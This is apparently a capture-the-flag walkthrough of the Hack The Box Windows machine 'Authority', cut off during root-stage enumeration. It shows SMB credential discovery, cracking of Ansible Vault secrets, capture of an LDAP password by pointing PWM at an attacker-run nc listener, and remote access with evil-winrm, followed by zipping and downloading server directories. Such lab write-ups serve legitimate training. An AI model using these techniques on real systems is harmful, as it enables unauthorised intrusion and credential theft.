Authority
2023-07-16
INTRODUCTION
Authority was released as the fifth box of HTB’s Hackers Clash: Open Beta Season II. Is a “Medium” Windows box, but will serve as a formidable challenge to any players unfamiliar with Windows. Authority features a typical Microsoft environment, including Microsoft IIS server, LDAP, Kerberos, and SMB. No SSH here! You’ll have to rely on more rudimentary remote-connection methods. This box will test your filesystem enumeration skills, but not as much as your PKI knowledge. Get ready to think like a sysadmin.
RECON
nmap scans
For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to my target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 5000 -oN nmap/port-scan.txt $RADDR
Nmap scan report for 10.10.11.222
Host is up (0.19s latency).
Not shown: 65410 filtered tcp ports (no-response), 120 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
It’s quite interesting that there is no SSH exposed on this box. I followed up with a more detailed script scan on these ports:
nmap -sV -sC -n -Pn -p22,80 -oN nmap/extra-scan.txt $RADDR
Nmap scan report for 10.10.11.222
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-07-16T18:27:16
|_ start_date: N/A
|_clock-skew: 3h59m58s
And finally, I did a slower port and script scan just to be sure I got everything (excuse the length):
sudo nmap -sV -sC -n -Pn --top-ports 4000 -oN nmap/top-4000-ports.txt $RADDR
Nmap scan report for 10.10.11.222
Host is up (0.17s latency).
Not shown: 3986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-20 00:08:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2023-07-20T00:09:27+00:00; +3h59m55s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2023-07-20T00:09:25+00:00; +3h59m55s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2023-07-20T00:09:27+00:00; +3h59m55s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-20T00:09:25+00:00; +3h59m55s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-07-17T07:38:42
|_Not valid after: 2025-07-18T19:17:06
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=ISO-8859-1
| Content-Length: 82
| Date: Thu, 20 Jul 2023 00:08:41 GMT
| Connection: close
| <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=ISO-8859-1
| Content-Length: 82
| Date: Thu, 20 Jul 2023 00:08:39 GMT
| Connection: close
| <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, OPTIONS
| Content-Length: 0
| Date: Thu, 20 Jul 2023 00:08:39 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1936
| Date: Thu, 20 Jul 2023 00:08:47 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
Huh? There were so many more TCP discovered using the slow scan. Perhaps some kind of rate-limiting?. This scan shows several notable things:
- Kerberos looks like it’s on two ports: 88 and 464
- LDAP and LDAPS are on two ports each
- the domain of the target: authority.htb.
- Port 5985 was probably misidentified: it’s more likely WinRM (for remote connection!)
- Nonstandard webserver on 8443 (this port is often for Apache Tomcat using SSL)
Webserver Strategy
Did banner-grabbing. Nothing new here, this was all reported by nmap already:
whatweb $RADDR && curl -IL http://$RADDR
Added intentions.htb
to /etc/hosts and proceeded with vhost enumeration, subdomain enumeration, and directory enumeration.
echo "$RADDR authority.htb" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost.md -of md -timeout 4 -ic -ac
DOMAIN=authority.htb
ffuf -w $WLIST -u http://FUZZ.$DOMAIN/ -c -t 60 -o fuzzing/subdomain.md -of md -timeout 4 -ic -ac
There were no results from vhost or subdomain enumeration, so I proceeded with directory enumeration on http://authority.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt"
feroxbuster -w $WLIST -u http://$DOMAIN -A -d 2 -t 100 -T 4 -f --auto-tune --collect-words --filter-status 400,401,402,404,405 --output fuzzing/directory.json -E
Directory enumeration gave the following:
🤔 I’m starting to think this webserver is completely default/unconfigured.
Exploring the Website
Taking a look at the website confirms my suspicion. Seemingly, nothing to see here:
Kerberos (TCP port 88)
I’ll run through the Kerberos pentesting checklist on Hacktricks to see if there is any easy information to be gathered. First, we’ll try enumerating for usernames:
USERNAMES=/usr/share/seclists/Usernames/Names/names.txt
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="authority.htb",userdb=$USERNAMES $RADDR
Unfortunately, the nmap script did not find any valid usernames. If you don’t have any usernames, there isn’t really anything you can do with Kerberos.
MS RPC (TCP port 135)
impacket-rpcdump $RADDR
Lots of results. Mostly listings of .dll
files.
SMB (TCP port 139 & 445)
nmap --script "safe or smb-enum-*" -p 445 $RADDR
No result.
nmblookup -A $RADDR
No result.
nbtscan $RADDR/30
No result.
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n $RADDR
Nmap scan report for 10.10.11.222
Host is up.
PORT STATE SERVICE VERSION
137/udp open|filtered netbios-ns
enum4linux $RADDR
rpcclient -U "" -N $RADDR
This logs into RPC with empty credentials. Seems to work.
Next let’s check for SMB shares:
smbclient -L $RADDR
I provided an empty password. The following shares are present:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Department Shares Disk
Development Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
I tried connecting to ADMIN
and to C
: no luck. However I did get into Department Shares
:
Sadly, attempting to list the contents just yields an error: NT_STATUS_ACCESS_DENIED listing
. The Development
share has some accessible contents though:
Ansible is a suite of tools that are used for automating a bunch of IT tasks. In my experience, it’s used for things like server administration, rotating the logs, performing updates, etc.
At first glance, this looks like it might have some important files inside. To make exploring the share a little more comfortable, I opened it in my file explorer by entering the address smb://10.10.11.222/Development
and providing an anonymous login at the prompt.
Automaton/Ansible/PWM/Readme.md
shows some default credentials:
Automaton/Ansible/PWM/ansible_inventory
shows the Ansible credentials and connection details:
ansible_user: administrator
ansible_password: Welcome1
ansible_port: 5985
ansible_connection: winrm
ansible_winrm_transport: ntlm
ansible_winrm_server_cert_validation: ignore
And Automaton/Ansible/PWM/ansible.cfg
shows the following:
...
hostfile = ansible_inventory
remote_user = svc_pwm
...
Automaton/Ansible/PWM/defaults/main.yml
has something that looks like hashes:
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"
pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true
pwm_require_ssl: false
pwm_admin_login: !vault |
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
pwm_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
I didn’t know what I had just found, so I searched up what this information was - based on the format of the data. Turns out it is information for interacting with Ansible Vault: a way to securely store secrets within config files (located alongside the config files themselves).
Ansible/SHARE/tasks/main.yml
shows how we could get all usernames from the box, if we’re able to access the directory:
- name: Make subdirectories under Share
ansible.windows.win_file:
path: "{{item}}"
state: directory
loop:
- C:\Share\Internal
- C:\Share\Internal\IT\Public
- C:\Share\Internal\IT\Private
- C:\Share\Internal\HR\Public
- C:\Share\Internal\HR\Private
- C:\Share\Internal\R&D\Public
- C:\Share\Internal\R&D\Private
- C:\Share\Internal\Marketing\Public
- C:\Share\Internal\Marketing\Private
- C:\Share\Internal\Finance\Public
- C:\Share\Internal\Finance\Private
- C:\Share\Internal\Executives\Public
- C:\Share\Internal\Executives\Private
- C:\Share\Internal\Accounting\Public
- C:\Share\Internal\Accounting\Private
- name: Make user folders for all users
ansible.windows.win_powershell:
script: |
$path = "C:\Share\"
$users = (Get-ADUser -Filter * ).Name
foreach ($user in $users) {
New-Item -ItemType Directory -Force -Path $path\$user}
- name: Create User Share
win_share:
name: '{{item.share_name}}'
description: '{{item.share_description}}'
path: '{{item.path}}'
list: '{{item.list}}'
full: '{{item.full}}'
read: '{{item.read}}'
with_items:
- {path: 'C:\Share', share_name: 'User Share', share_description: 'Share for Users', full: 'Administrators, Domain Users', read: 'Domain Users', list: no }
- name: Enable inherited ACL
ansible.windows.win_acl_inheritance:
path: C:\Share
state: present
- name: ACL
ansible.windows.win_acl:
path: C:\Share
user: Administrator, Domain Users
rights: Full Control
type: 'Allow'
inherit: None
propagation: 'None'
Ansible/PWM/templates/tomcat-users.xml.j2
contains what appears to be the Tomcat credentials (for the server on 8443):
<tomcat-users xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0">
<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>
</tomcat-users>
In summary, it looked like the SMB
share revealed four credentials:
- root : password (PWM default credential)
- administrator : Welcome1 (Ansible credential)
- admin : T0mc@tAdm1n (probably for Tomcat)
- robot : T0mc@tR00t (Also Tomcat)
Also I found the domain: authority.htb , and three pieces of encrypted Ansible Vault data (pwm_admin_login, pwm_admin_password, and ldap_admin_password). We also found a hostname for PWM: authority.htb.corp
LDAP (TCP 389) and LDAPS (636)
Tried checking for info from LDAP using anonymous credentials:
nmap -n -sV --script "ldap* and not brute" $RADDR
The result of this script was almost too much information to read through… Some of the highlights were:
Found a DNS hostname, and other DNS zones:
authority.authority.htb ... namingContexts: DC=authority,DC=htb namingContexts: CN=Configuration,DC=authority,DC=htb namingContexts: CN=Schema,CN=Configuration,DC=authority,DC=htb namingContexts: DC=DomainDnsZones,DC=authority,DC=htb namingContexts: DC=ForestDnsZones,DC=authority,DC=htb
Discovered other ports:
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
Continuing with the enumeration procedure described in Hacktricks, I tried checking the publicly available info using LDAP:
ldapsearch -x -H ldap://authority.htb -s base namingContexts
This yielded pretty much the same info as the nmap script.
Tomcat SSL (TCP port 8443)
When navigating to the address https://authority.htb:8443
I am immediately redirected to https://authority.htb:8443/pwm/private/login
, which displays the following dialog box:
That’s interesting. Maybe the way in is by reconfiguring LDAP, then? Below this dialog box is a login page:
I tried the four credentials I had on hand: no luck there. Clicking either of the buttons on the bottom brings me to https://authority.htb:8443/pwm/private/config/login
:
I see: so I just need this one PWM configuration password, then I can reconfigure LDAP. Using the passwords from the four credentials I had already found, I tried logging in to the Configuration Manager: also no luck.
Tomcat on port 8443 was the final service that my nmap scans found. I could try taking a deeper look at Kerberos and MS RPC, but without any ideas on how to proceed with that, I figured it’s better to investigate the data I’ve already found.
FOOTHOLD
Ansible Vault Data
Having exhausted all of the obvious options, I think I’ll have a try at cracking the Ansible Vault data. I wasn’t sure if there was some kind of Ansible Vault tool for John
, so I searched my own system:
find / -name "*2john" 2>/dev/null | grep -i ansible
/usr/bin/ansible2john
Usage: /usr/bin/ansible2john [Ansible Vault .yml file(s)]
Oh, excellent! I’ve never used this, so I’ll give it a try. Thankfully, it looks like it’ll parse the yml
file directly 😅
I tried making a copy of the file where I found the Ansible Vault data (I had taken a local copy of the Development
share from SMB) and running ansible2john
on it:
cp ../SMB/Ansible/PWM/defaults/main.yml .
ansible2john main.yml
File doesn't start with b'$ANSIBLE_VAULT'
Hmm, it doesn’t like the format. Taking a look at the source code for ansible2john
shows that I’m probably using the right data, but it expects to only have the encrypted vault data inside the yml
file… To accomodate this, I split the contents of main.yml
into three files pwm_admin_login.yml
, pwm_admin_password.yml
, and ldap_admin_password.yml
, then manually trimmed out the whitespace.
For the reader’s convenience, here’s the details (formatting and all):
for f in *.yml; do
echo "Processing $f";
cat $f; ansible2john $f > $f.john;
cat $f.john; echo "--------";
done
Then I merged the hashes into one file and started up john
:
cat *.john >> merged.john
john --format=ansible --wordlist=$WLIST merged.john
😆 Alright, so the three secrets are all the same eight special characters: !@#$%^&*
I tried logging in once again to the Configuration Manager, using the cracked password:
😱 Still nothing?! How disappointing - I thought that would be it for sure. Trying the credentials !@#$%^& : !@#$%^&** on the other login page was also unsuccessful (same LDAP-not-configured message).
Then it occurred to me: john
usually finds passwords based on hashes. The point of Ansible Vault is to encrypt messages - not passwords specifically. So maybe thing that john
found is actually just a password to main.yml
or something? Taking a quick look through the official Ansible Documentation showed that perhaps I should be running ansible-vault
to interact with the file, and that ansible-vault view
will open, decrypt, then show the file in the pager:
sudo apt install ansible-core
[installed, then had to reboot]
For copy-pasting, those credentials are:
- svc_pwm : pWm_@dm!N_!23
- DevT3st@123
😁 Alright! There we go. Hopefully these credentials will be useful (I’m quite hopeful, as I already saw a successful login to Configuration Manager using the svc_pwm
credential shown in the “Previous Authentications” table. ) First, I’ll try using the password for svc_pwm
, pWm_@dm!N_!23:
Success! 🍰
This configuration manager has a LOT of settings inside. There are filters at the bottom to thin it out a bit. I selected Basic / All Settings. This makes LDAP > LDAP Directories > default > Connection
stand out; it contains some very useful-looking details:
The address ldaps://authority.authority.htb:636
could be useful, and the account svc_ldap
might go with the password obtained from the Ansible Vault (DevT3st@123). Now that there’s a new credential to try, it might be useful to try probing LDAP for a bit more information.
LDAP and LDAPS (Again)
We now have confirmation that LDAP and LDAPS are running on TCP ports 389 and 636 respectively. Now that I suspect I have a valid credential, there’s a good chance that some new information can be gained from LDAP. First, I’ll try a refinement of the query I issued earlier:
ldapsearch -x -H ldaps://authority.authority.htb:636 -s base namingContexts
ldapsearch -x -H ldaps://$RADDR:636 -s base namingContexts
ldapsearch -x -H ldaps://$RADDR -s base namingContexts
ldapsearch -x -H ldaps://authority.authority.htb:636 -D 'authority.htb\svc_ldap' -w 'DevT3st@123' -b "DC=authority,DC=htb"
All these attempts to use LDAPS led to the same error message:
ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)
I’ll try LDAP (not LDAPS) again, but this time with some credentials:
ldapsearch -x -H ldap://$RADDR -D 'authority.htb\svc_ldap' -w 'DevT3st@123' -b "DC=authority,DC=htb"
for DOMAIN in CORP Users "Service Accounts" "authority.htb"; do
ldapsearch -x -H ldap://$RADDR -D '$DOMAIN\svc_ldap' -w 'DevT3st@123' -b "DC=authority,DC=htb";
done
All attempts gave an error indicating an invalid credential:
ldap_bind: Invalid credentials (49)
additional info: 80090308: LdapErr: DSID-0C090439, comment: AcceptSecurityContext error, data 52e, v4563
Next I tried using ldapdomaindump
:
for DOMAIN in CORP Users "Service Accounts" "authority.htb"; do
ldapdomaindump ldaps://authority.authority.htb:636 -u "$DOMAIN\svc_ldap" -p "DevT3st@123" --authtype SIMPLE;
done
Same result, but ldapdomaindump
was a little more descriptive in the error:
🤔 This message makes it look like it’s failing because I have no SASL (Kerberos, in this case) credentials. Could that be it?
I’ll take a backtrack and see if I missed anything in the Configuration Management panel.
Configuration Management Panel (Again)
Right away I realized I missed something quite major. After looking around the configuration editor, I didn’t ever see the option to “restrict the configuration” like the dialog box was mentioning (the dialog that appeared after first navigating to https://authority.htb:8443). From the Configuration Editor panel, you can simply click the Cancel button in the top right to be brought to the Configuration Manager panel 🤦♂️
The Configuration Manager panel (A) has a “Restrict Configuration” button and (B) confirms all of the LDAP behaviour I was just experiencing: Even the management panel cannot connect to LDAP - by either LDAP or LDAPS!
From here, I used the Download Configuration button to grab a copy of PwmConfiguration.xml
. When downloading, there was a warning that it might contain sensitive information or credentials 😏 That’s a good sign.
Examining the xml
file, near the top are a couple of interesting values:
<property key="configPasswordHash">
$2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua
</property>
...
<label>
LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP Proxy Password
</label>
<value>
ENC-PW:xwEktqlZrHdR3HtJrQgUFnOpf0zYuHi/YbLM5IKBIUMBAagMlT89v//9Le2VOxjvTYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8=
</value>
And much further down…
Now, the trouble is that the LDAP Proxy password hash is in a format that I’ve never seen before. I wonder if there’s a way I can get the application to spit it out in cleartext?
I found something interesting in the Configuration Editor panel, by clicking Macro Help near the top. It looks like there’s a way to introduce the password directly into a log file (highlighted):
So if I can add this to the format of some kind of readable log file, and trigger a test login, I might be able to leak a password. I disabled the setting Settings > User Interface > UI Features > Password Masking
just in case that had an effect. Unfortunately, I couldn’t find a place to enter that @User:Password@
macro into a log output.
Regardless, I had another idea: There is a conspicuous button at the top of the LDAP > LDAP Directories > default > Connection screen labelled as Test LDAP Profile. Why not just configure the LDAP server to my own machine, and bounce the “Test” LDAP negotiation off of myself? It’d be a bit like an XSS to leak a credential!
Choosing to use LDAP instead of LDAPS so that the credential is transmitted unencrypted, I added ldap://10.10.14.2:389
to the top of the LDAP URLs section, to pretend my attacker machine is an LDAP server.
The form to assign a new LDAP URL did not accept any protocol other than LDAP(S). It’s possible this was just client-side validation and could have been circumvented using a tailored POST request, but frankly it was much easier to just use something like
netcat
to establish a listener than to worry about the correct protocol.
Last I checked, nc
doesn’t give a crap what protocol it is contacted over 🙃 so I set up a listener using nc
, first opening up the LDAP port with UFW
:
sudo ufw allow from $RADDR to any port 389,636 proto tcp
sudo nc -lvnp 389
Then, from the Configuration Editor, I clicked Test LDAP Profile.
It worked! 😹 Fantastic! We now have a new credential. Just to review, these are the credentials found so far:
- svc_pwm : pWm_@dm!N_!23
- DevT3st@123
- svc_ldap : lDaP_1n_th3_cle4r!
For copy-paste sake, the whole string is:
CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!
Note: I’m assuming that the “0P” on the end is encoding garbage, just like the “0Y`T” at the beginning. That’s the downside of using
netcat
, I suppose 😅
Aside from the credential, I now know the whole LDAP construct to identify svc_ldap
, which is helpful (I was doing a bit of guessing in my earlier attempts).
LDAP and LDAPS (Yes, again…)
OK, I’ll try running ldapdomaindump
again, using the new credentials this time.
ldapdomaindump ldaps://authority.authority.htb:636 -u "authority.htb\svc_ldap" -p 'lDaP_1n_th3_cle4r!' --authtype SIMPLE
[*] Connecting to host...
[*] Binding to host
[!] Could not bind with specified credentials
[!] {'result': 49, 'description': 'invalidCredentials', 'dn': '', 'message': '80090308: LdapErr: DSID-0C090439, comment: AcceptSecurityContext error, data 52e, v4563\x00', 'referrals': None, 'saslCreds': None, 'type': 'bindResponse'}
Hmm… Invalid credentials? I’ll try regular LDAP instead of LDAPS:
ldapdomaindump ldap://$RADDR -u "authority.htb\svc_ldap" -p 'lDaP_1n_th3_cle4r!' --authtype SIMPLE
Same result 😞 Maybe without the --authtype SIMPLE
flag?
ldapdomaindump ldap://$RADDR -u "authority.htb\svc_ldap" -p 'lDaP_1n_th3_cle4r!'
Well, an error… but at least it’s a new error.
Seems like perhaps it requires LDAPS? Let’s try it all again *sigh*…
ldapdomaindump ldaps://authority.authority.htb:636 -u "authority.htb\svc_ldap" -p 'lDaP_1n_th3_cle4r!'
WOW, FINALLY. I don’t mean to sound ungrateful, but what an annoying, finicky program! 🙄
This dumped a lot of files:
For example, domain_users.html
is interesting:
Most notably, svc_ldap
is a member of the group Remote Management Users
! Sounds like an invitation 👍
USER FLAG
WinRM (TCP port 5985)
Unfamiliar with Windows, the first thing I tried was running the closest thing I could to WinRM itself, which on my machine was a ruby implementation called rwinrm
. Long story short: after installing dependencies and getting it set up, the shell simply did not work. I got no output.
Moving on, I switched to evil-winrm, where I’m having some initial success. It seems like a lot of operations are unauthorized, and I don’t have tab completion, but at least I can issue some basic commands and move around between directories etc.
evil-winrm -i $RADDR -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
The user flag is on the Desktop
of svc_ldap
; go read it for the points:
cd ..\Desktop
type user.txt
ROOT FLAG
Oh Gawd What Is Windows
Now that I’m in the box as svc_ldap
, I’ll take a look around and do some basic enumeration of the user and the box. BUT it seems like this users has very low privileges… Either that, or there’s something wrong with my shell?
As previously mentioned, I am very unexperienced with Windows. With every little hiccup I encounter, I am calling into question many of my assumptions and abilities. Especially now that I have local access, I’m realizing I have really no idea what I’m doing and not much of a plan.
🐢 Oh well, I guess you have to start somewhere - but I regret not practicing more on some Easy boxes first!
I’ll start by checking the operating system (which from LDAP I already know is Windows Server 2019):
Nope. Access denied. What about the hostname and user info? Running hostname
and whoami /user
respectively:
authority
User Name SID
============ =============================================
htb\svc_ldap S-1-5-21-622327497-3269355298-2248959698-1601
(Again, I already had that from LDAP, but I’m trying to practice normal local enumeration procedure.) What other users are present? Checking net users
:
User accounts for \\
-------------------------------------------------------------------------------
Administrator Guest krbtgt
svc_ldap
For each of these users, I checked their details:
net user <username>
(Again, this info was already present from the LDAP dump, so I won’t bother showing it here.)
netstat -ano | findstr LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 616
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 896
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 616
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 616
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 896
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 616
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 616
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 616
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8443 0.0.0.0:0 LISTENING 3932
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2960
...
TCP 10.10.11.222:53 0.0.0.0:0 LISTENING 2220
TCP 10.10.11.222:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2220
...
TCP [::1]:53 [::]:0 LISTENING 2220
TCP [dead:beef::21e]:53 [::]:0 LISTENING 2220
TCP [dead:beef::f6ce:f03f:ed24:d8f6]:53 [::]:0 LISTENING 2220
TCP [fe80::9879:1a7:140d:4eda%8]:53 [::]:0 LISTENING 2220
I also checked the scheduled processes on the box:
schtasks /query /fo LIST /v
There were a ton of them. Not knowing what I’m looking for, I disregarded it for now.
I searched for the string “password” in all accessible files:
findstr /si password *.txt *.ini *.config
No significant result: The output was mostly Cortana stuff, and then one giant block of text from some log file about checking the device cache.
Odd Folders in C:\
Next, I’ll take a look around the filesystem, to see if anything seems out of place. The home directory looks normal, butC:\
has some nonstandard items:
I’ve already seen inside Development
, from the SMB share. But over SMB I did not have access to Department Shares
. There are also three other interesting folders: Certs
, inetpub
, and pwm
.
Just to see if I could, I checked if I could connect to
Department Shares
using SMB now that I have a valid credential, and yep it works fine:
For all these directories, I figured it would be easiest just to dump the contents instead of manually inspecting it using the evil-winrm
shell. So I zipped each directory and transferred downloaded the files to my attacker box:
Compress-Archive -LiteralPath "C:\Certs" -DestinationPath C:\Users\svc_ldap\Certs.zip
Compress-Archive -LiteralPath "C:\Department Shares" -DestinationPath C:\Users\svc_ldap\DeptShares.zip
Compress-Archive -LiteralPath "C:\inetpub" -DestinationPath C:\Users\svc_ldap\inetpub.zip
Compress-Archive -LiteralPath "C:\pwm" -DestinationPath C:\Users\svc_ldap\pwm.zip
cd C:\Users\svc_ldap
download Certs.zip
download DeptShares.zip
I got
Access Denied
errors while trying to compressinetpub
andpwm
, so there was nothing to download.
Looking through the files on my attacker box, it seems that Department Shares
is empty? I found that strange, so I confirmed by connecting using Thunar:
Note: Thunar didn’t want to connect to
Department Shares
directly. I had to connect tosmb://10.10.11.222
first, then navigate toDepartment Shares
and authenticate again. Not sure why.
Yep, confirmed. It’s actually empty.
The Certs
folder however is not empty. It contains one, password-protected / encrypted certificate file: LDAPs.pfx
. I tried the three passwords gathered so far - none worked. Then I checked to see if there was an appropriate way to generate a hash from this:
find /usr/bin -name "*2john" 2>/dev/null | sort
It turns out that there is: pfx2john
; I’ll give that a try. While that’s running, I’ll check out those other two directories that I couldn’t zip: C:\inetpub
and C:\pwm
.
Edit: after a few minutes, john
finished. No password was found.
I couldn’t see much of inetpub
. For most subfolders, I received Access Denied
. An exception was inetpub\wwwroot
which showed (as expected) that this is the folder containing the unconfigured / default IIS
webserver that we originally checked out, the webserver on port 80.
The pwm
folder is mostly accessible. Attempting to copy the subfolder LocalDB
resulted in an error. Taking a look inside, it seems it contains a xodus database. I had never heard of that type of database, but the source code is available at this repo if you want to take a look.
I copied all accessible contents from pwm
into one directory and zipped it, to transfer to my attacker machine where I could inspect it more comfortably. I already had a copy of PwmConfiguration.xml so I didn’t bother with that one.
cd C:\pwm
Copy-Item backup C:\Users\svc_ldap\pwm\backup -recurse
Copy-Item logs C:\Users\svc_ldap\pwm\logs -recurse
Copy-Item temp C:\Users\svc_ldap\pwm\temp -recurse
cd C:\Users\svc_ldap
Compress-Archive -LiteralPath pwm -DestinationPath pwm.zip
download pwm.zip
Examining the logs reveals that a certificate (perhaps it’s C:\Certs\LDAPs.pfx
?) is shown in plaintext, first appearing at line 1238, but also repeated several times after that:
2022-08-10T21:27:13Z, DEBUG, secure.CertificateReadingTrustManager, ServerCertReader: read self-signed certificates from remote server: [{"subject":"","serial":"3D000000036DE75854E4DD36E2000000000003","issuer":"CN=htb-AUTHORITY-CA, DC=htb, DC=corp","issueDate":"2022-08-09T23:03:21Z","expireDate":"2024-08-09T23:13:21Z","md5Hash":"D49477106F6B8100E4E19CF2AA40DAE1","sha1Hash":"DDEDB994B80C83A9DB0BE7D35853FF8E54C62D0B","sha512Hash":"47593E0C28E3FDBDFF236B9FE3F6A46286735D53EBEA4625F6DDBDE0A6984E2F0308AE9A2680E981529BB5D970E1D5215E66342CE399D759F82052CF6F5B6060"}]
2022-08-10T21:27:13Z, DEBUG, secure.X509Utils, ServerCertReader: read x509 Certificate from host=authority.htb.corp, port=636:
[
[
Version: V3
Subject:
